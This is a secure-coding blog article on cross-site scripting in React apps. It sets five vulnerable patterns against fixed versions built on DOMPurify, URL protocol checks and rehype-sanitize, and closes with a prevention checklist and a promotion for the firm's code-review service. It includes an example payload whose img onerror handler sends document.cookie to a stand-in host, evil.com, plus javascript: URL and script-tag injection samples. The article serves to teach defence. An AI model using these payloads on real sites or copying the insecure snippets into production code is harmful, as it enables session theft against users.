React XSS Vulnerabilities: dangerouslySetInnerHTML and Beyond

SecureCodeReviews Team
March 6, 2026
11 min read
308 words
Share

React's Built-in XSS Protection

React's JSX automatically escapes values before rendering them to the DOM. This means React is safe by default for most XSS scenarios:

// SAFE — React escapes this automatically
function UserGreeting({ name }) {
  return <h1>Hello, {name}!</h1>;
}

// Even if name = "<script>alert('XSS')</script>"
// React renders: Hello, &lt;script&gt;alert('XSS')&lt;/script&gt;

But there are 5 common ways developers bypass this protection — and we find them in nearly every React codebase we review.


Vulnerability #1: dangerouslySetInnerHTML

The most obvious XSS vector — and the most common.

❌ Vulnerable Code

function BlogPost({ post }) {
  // User-generated content rendered as raw HTML
  return (
    <article>
      <h1>{post.title}</h1>
      <div dangerouslySetInnerHTML={{ __html: post.content }} />
    </article>
  );
}

If post.content comes from user input (blog CMS, comment system, rich text editor), an attacker can inject:

<img src=x onerror="fetch('https://evil.com/steal?cookie='+document.cookie)">

✅ Secure Code

import DOMPurify from 'dompurify';

function BlogPost({ post }) {
  const sanitized = DOMPurify.sanitize(post.content, {
    ALLOWED_TAGS: ['h1','h2','h3','p','a','ul','ol','li','strong','em','code','pre','img'],
    ALLOWED_ATTR: ['href','src','alt','class'],
  });

  return (
    <article>
      <h1>{post.title}</h1>
      <div dangerouslySetInnerHTML={{ __html: sanitized }} />
    </article>
  );
}

Vulnerability #2: href / src Injection (javascript: Protocol)

React does NOT block javascript: URLs in href attributes.

❌ Vulnerable Code

function UserProfile({ user }) {
  return (
    <div>
      <h2>{user.name}</h2>
      <a href={user.website}>Visit Website</a>
    </div>
  );
}

// Attack: user.website = "javascript:alert(document.cookie)"

✅ Secure Code

function sanitizeUrl(url) {
  try {
    const parsed = new URL(url);
    if (!['http:', 'https:', 'mailto:'].includes(parsed.protocol)) {
      return '#';
    }
    return url;
  } catch {
    return '#';
  }
}

function UserProfile({ user }) {
  return (
    <div>
      <h2>{user.name}</h2>
      <a href={sanitizeUrl(user.website)} rel="noopener noreferrer">
        Visit Website
      </a>
    </div>
  );
}

Vulnerability #3: Server-Side Rendering (SSR) XSS

In Next.js and other SSR frameworks, data serialized to the HTML payload can be exploited.

❌ Vulnerable Code

// Next.js page component
export async function getServerSideProps({ query }) {
  return {
    props: {
      searchTerm: query.q || '',
    },
  };
}

function SearchPage({ searchTerm }) {
  return (
    <div>
      <h1>Results for: {searchTerm}</h1>
      {/* The SSR HTML includes the unsanitized searchTerm in the __NEXT_DATA__ script tag */}
    </div>
  );
}

While the JSX itself is escaped, the __NEXT_DATA__ JSON payload in the HTML source is a potential vector if the framework doesn't properly escape it (older versions were vulnerable).

✅ Secure Code

import { sanitize } from 'some-sanitizer';

export async function getServerSideProps({ query }) {
  return {
    props: {
      searchTerm: sanitize(query.q || '').slice(0, 200), // Sanitize + length-limit
    },
  };
}

Vulnerability #4: Third-Party Rich Text Editors

Many React apps use rich text editors (Draft.js, Slate, TinyMCE, Quill) that output HTML.

❌ Vulnerable Pattern

// Save raw editor HTML to database
const handleSave = async () => {
  await fetch('/api/posts', {
    method: 'POST',
    body: JSON.stringify({ content: editorHtml }), // Raw HTML from editor
  });
};

// Render without sanitization
function DisplayPost({ htmlContent }) {
  return <div dangerouslySetInnerHTML={{ __html: htmlContent }} />;
}

✅ Secure Pattern

Always sanitize on both save and render:

import DOMPurify from 'dompurify';

// Sanitize before saving
const handleSave = async () => {
  const clean = DOMPurify.sanitize(editorHtml);
  await fetch('/api/posts', {
    method: 'POST',
    body: JSON.stringify({ content: clean }),
  });
};

// Sanitize before rendering (defense in depth)
function DisplayPost({ htmlContent }) {
  const clean = DOMPurify.sanitize(htmlContent);
  return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}

Vulnerability #5: URL Parameter Reflection via Markdown

If your React app renders user-supplied Markdown (e.g., in a docs system or comment section):

import ReactMarkdown from 'react-markdown';

// If allowDangerousHtml is enabled:
<ReactMarkdown children={userMarkdown} remarkPlugins={[]} rehypePlugins={[rehypeRaw]} />

Enabling rehypeRaw allows raw HTML in Markdown, which reintroduces XSS.

✅ Secure: Use rehype-sanitize

import ReactMarkdown from 'react-markdown';
import rehypeSanitize from 'rehype-sanitize';

<ReactMarkdown
  children={userMarkdown}
  rehypePlugins={[rehypeSanitize]}
/>

Prevention Checklist

RuleAction
Audit all dangerouslySetInnerHTMLEnsure DOMPurify sanitization on every usage
Block javascript: URLsValidate protocol on all dynamic href/src
Deploy CSP headersAdd Content-Security-Policy: script-src 'self'
Use eslint-plugin-reactEnable react/no-danger rule
Sanitize MarkdownUse rehype-sanitize instead of rehype-raw
Escape SSR dataValidate/sanitize all getServerSideProps inputs

Get a Professional React Security Review

We specialize in React and Next.js security code reviews. XSS is just one of many things we check — we also look for SSRF, IDOR, auth bypasses, and more.

Request a Free Sample Code Review →

Editorial standards

Published by SecureCodeReviews

This article is part of our original AI security and cybersecurity content library. We show publish and update dates, keep company and policy pages public, and update important guidance when material changes affect readers.

Named author: SecureCodeReviews Team
Published: Mar 6, 2026
Update status: current publication version

Questions or corrections?

Review our editorial standards, learn more about the company, or contact us if a page needs clarification.

Secure Code Review

Want an expert review before this issue reaches production?

We combine manual code review with AppSec tooling to find vulnerabilities, logic flaws, and insecure patterns before release or audit deadlines.

Manual secure code review for real exploitable issues
Remediation guidance with clear engineering next steps
Useful for launch reviews, client audits, and security hardening

Talk to SecureCodeReviews

Get a scoped review path fast

Manual review
Actionable fixes
Fast turnaround
Security-focused

Advertisement